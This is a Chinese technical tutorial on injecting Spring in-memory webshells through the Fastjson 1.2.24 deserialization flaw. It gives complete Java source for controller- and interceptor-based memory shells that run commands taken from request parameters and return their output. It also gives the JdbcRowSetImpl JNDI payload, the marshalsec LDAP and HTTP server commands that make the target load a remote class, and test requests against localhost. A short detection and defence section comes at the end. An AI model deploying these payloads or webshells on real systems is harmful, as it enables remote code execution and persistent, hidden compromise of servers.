利用Fastjson注入Spring内存马
字数 1084 2025-08-03 16:50:28
利用Fastjson注入Spring内存马技术详解
一、环境搭建
1. 组件版本要求
- Fastjson: 1.2.24 (存在反序列化漏洞的版本)
- Spring MVC: 4.3.28.RELEASE
- JDK: 8u121 (需支持JNDI注入)
2. Spring MVC + Fastjson漏洞环境配置
web.xml配置
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
springmvc.xml配置
<context:component-scan base-package="test.controller"></context:component-scan>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/"></property>
<property name="suffix" value=".jsp"></property>
</bean>
漏洞控制器示例
@Controller
public class HelloController {
@ResponseBody
@RequestMapping(value = "/hello", method = RequestMethod.POST)
public Object hello(@RequestParam("code")String code) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Object object = JSON.parse(code);
return code + "->JSON.parseObject()->" + object;
}
}
pom.xml依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.3.28.RELEASE</version>
</dependency>
二、动态注册Controller技术原理
1. 获取Spring上下文方法
-
方法一: getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); -
方法二: WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext( RequestContextUtils.getWebApplicationContext( ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest() ).getServletContext() ); -
方法三: RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext( ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest() ); -
方法四: getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes() .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
推荐使用第三、四种方法,前两种可能获取不到RequestMappingHandlerMapping实例。
2. Controller注册流程
// 1. 获取RequestMappingHandlerMapping实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 反射获取自定义controller中的Method对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义URL路径匹配条件
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义HTTP方法条件
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 动态注册controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
三、内存马实现详解
1. 基础内存马实现
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
// 主构造函数
public InjectToController() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = InjectToController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 辅助构造函数(避免循环调用)
public InjectToController(String aaa) {}
// 恶意方法实现
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
2. 回显优化版内存马
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
四、攻击测试流程
1. Fastjson <=1.2.24 攻击Payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/InjectToController",
"autoCommit":true
}
}
2. 测试步骤
-
启动HTTP服务 (托管恶意class文件)
python3 -m http.server 8888 -
启动LDAP服务 (使用marshalsec工具)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999 -
发送恶意请求 到存在漏洞的接口
POST /hello HTTP/1.1 Host: localhost:8080 Content-Type: application/json {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToController","autoCommit":true}} -
验证内存马 访问注入的路径
GET /malicious?cmd=whoami HTTP/1.1 Host: localhost:8080
五、Interceptor内存马实现
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping =
(org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(
"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class
.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa");
adaptedInterceptors.add(aaa);
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
return true;
}
}
六、关键注意事项
-
编译问题:
- 恶意类需要Spring相关依赖,直接使用javac编译会失败
- 解决方案:在完整Spring项目中编译,从target目录获取class文件
-
注入失败排查:
- 确保springmvc.xml中配置了
<mvc:annotation-driven/> - 该配置会注册RequestMappingHandlerMapping等关键Bean
- 确保springmvc.xml中配置了
-
JDK版本限制:
- JDK 8u121后默认关闭了JNDI远程codebase加载
- 测试时需要设置
com.sun.jndi.rmi.object.trustURLCodebase=true
-
内存马检测:
- 检查异常的URL映射
- 监控RequestMappingHandlerMapping的registerMapping调用
- 检查adaptedInterceptors中的异常拦截器
七、防御建议
- 升级Fastjson到最新安全版本
- 限制JNDI查找能力
- 实施运行时应用自我保护(RASP)
- 监控动态注册的Controller和Interceptor
- 对反序列化操作进行严格输入验证